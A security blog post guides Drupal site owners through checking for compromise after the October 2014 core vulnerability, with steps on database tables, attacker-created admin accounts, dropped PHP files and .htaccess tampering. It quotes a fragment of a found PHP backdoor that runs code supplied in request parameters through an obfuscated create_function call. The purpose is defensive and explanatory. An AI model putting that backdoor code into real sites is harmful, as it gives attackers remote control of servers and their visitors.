How to Check Your Drupal Site Security

autoupdate or die

If you weren’t able to update your Drupal site within a few hours on October 15th, you may be worried about your site.

Even under normal conditions, it’s almost never possible to prove that a site is 100% safe.

But by checking your site, you can either give yourself some additional peace of mind, or you can confirm that you were hacked.

#1. Test for active malware

There are at least two tests that you can use now to see whether your site is proving malware:

If these tests are negative it won’t prove that your site is secure, but it will show that your site isn’t an immediate threat to visitors.

#2. Watch Brian’s video

If you’ve watched any Drupal videos here at OSTraining, there’s a good chance you’ve seen the work of Brian Lewis, who’s a great Drupal teacher.

Brian has a video called “How to restore your hacked site” that you should watch before going any further.

#3. Look through the menu_router table

The first place that hackers were able to access was the database. The menu_router table was a common target.

Tamer Zoubi suggests searching the menu_router table for file_put_contents(). Here’s a screenshot of how the table will look, thanks to Tamer who has a more detailed explanation on his blog post.


#4. Look at users and users_roles tables

Many infected sites had additional users and even admin roles created. Look at the users and users_roles table for anything unusual. Here are some typical names that the hackers used:

  • drupaldev
  • megauser
  • system
  • admin122

You can find a longer list of names here although according to Bevan Rudge “it looks like attackers are now using random names.”


If you’re more security-savvy, you can also look in the sessions table for any unusual activity.

#5. Look at the /modules/ or /sites/ directory

  • Acquia saw random files generated in core module directories such as /modules/aggregator/dlov.php.
  • Tamer Zoubi found examples including this: /modules/forum/bmeq.php.

Often you found some malicious code in your database, it will be pointing to this file.

Also look in your /sites/ directory. A Reddit user found a backdoor in /sites/all/files/ctools/syscore.php. They also provided the code they found in that file. You can see the code is partly encrypted to protect the hackers’ work:

if(isset($_REQUEST['pi']) && md5($_REQUEST['pi']) == '5de1f8d51005652b23a8111d5e1') {
if(@get_magic_quotes_gpc() && isset($_REQUEST['pe'])) {
$_REQUEST['pe'] = stripslashes($_REQUEST['pe']);
$report = urldecode('%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e');
$report = $report('', $_REQUEST['pe']);

#6. Look at the .htaccess file

Many .htaccess files contain security measures and several people are reporting that hackers removed those lines form their .htaccess.

Check your .htaccess file against a backup version, or against the default Drupal .htaccess.

#7. Did someone patch your Drupal site?

There are reports of hackers updating sites to Drupal 7.32 to hide their tracks and prevent other hackers from accessing the site.

If your site is running 7.32 and you didn’t update, that may be a good sign.

#8. Try the Drupalgeddon module

There is a module called Drupalgeddon which was designed to look for back doors.

The module creators say very honestly that this module is not perfect. It may miss some exploits and it may produce some false positives, but it may also help you uncover some suspicious files.

There are other modules that may help including Hacked and Site Audit.

What if you were hacked?

In this post we gave you some ways in which you can start checking your site.

If you do find that were hacked, take a look these two articles to help you decide what to do next:

Protecting your site in the future

Whether you were hit by this security issue or not, there are some ways you can make yourself safer in the future:

  • Choose pro-active hosts: Right now, the best thing you can do is get yourself to a host that automatically rolls out security fixes. If your host didn’t automatically update you this time, you should leave. As a Drupal user, look to a Drupal-specific host such as Acquia, Pantheon, BlackMesh.
  • Use a firewall: The best defense against really serious attacks is multiple layers of defense. In addition to choosing safe software and hosting companies, add a firewall. Several providers including Cloudflare and Sucuri claim they would have prevented this Drupal hack. Some of the best hosts, that we mentioned above, will also have their own firewalls.
  • Get a better and longer back-up policy: At this point, you need back-ups going back further than October 15th, which was 2 weeks ago. That’s longer than the default setting for many hosting companies. However, this exploit seems to have been known about since September 16th, and so you may need backups from 2 months ago.


  • Steve Burge

    Steve is the founder of OSTraining. Originally from the UK, he now lives in Sarasota in the USA. Steve's work straddles the line between teaching and web development.

0 0 votes
Article Rating
Notify of

Newest Most Voted
Inline Feedbacks
View all comments
9 years ago

What would you reccomend if I did the above checks and found nothing? My site has no external user-base and no online store, so I cannot imageine it being attractive for attacks. Should I still go through the pains of a roll back?

9 years ago
Reply to  beli4ka

Hi beli4ka
I think you’re OK to proceed as you are if you have no sensitive customer details.
In terms of being attractive, don’t think that will keep you safe. The main aim of hackers is not to steal your data but to send malware to your visitors.

9 years ago

You can always use the hacked module, this compares all your site plugins with the code from drupal. It will break down a list of files which are different, that way you can see there are any hacker back doors created.

Would love your thoughts, please comment.x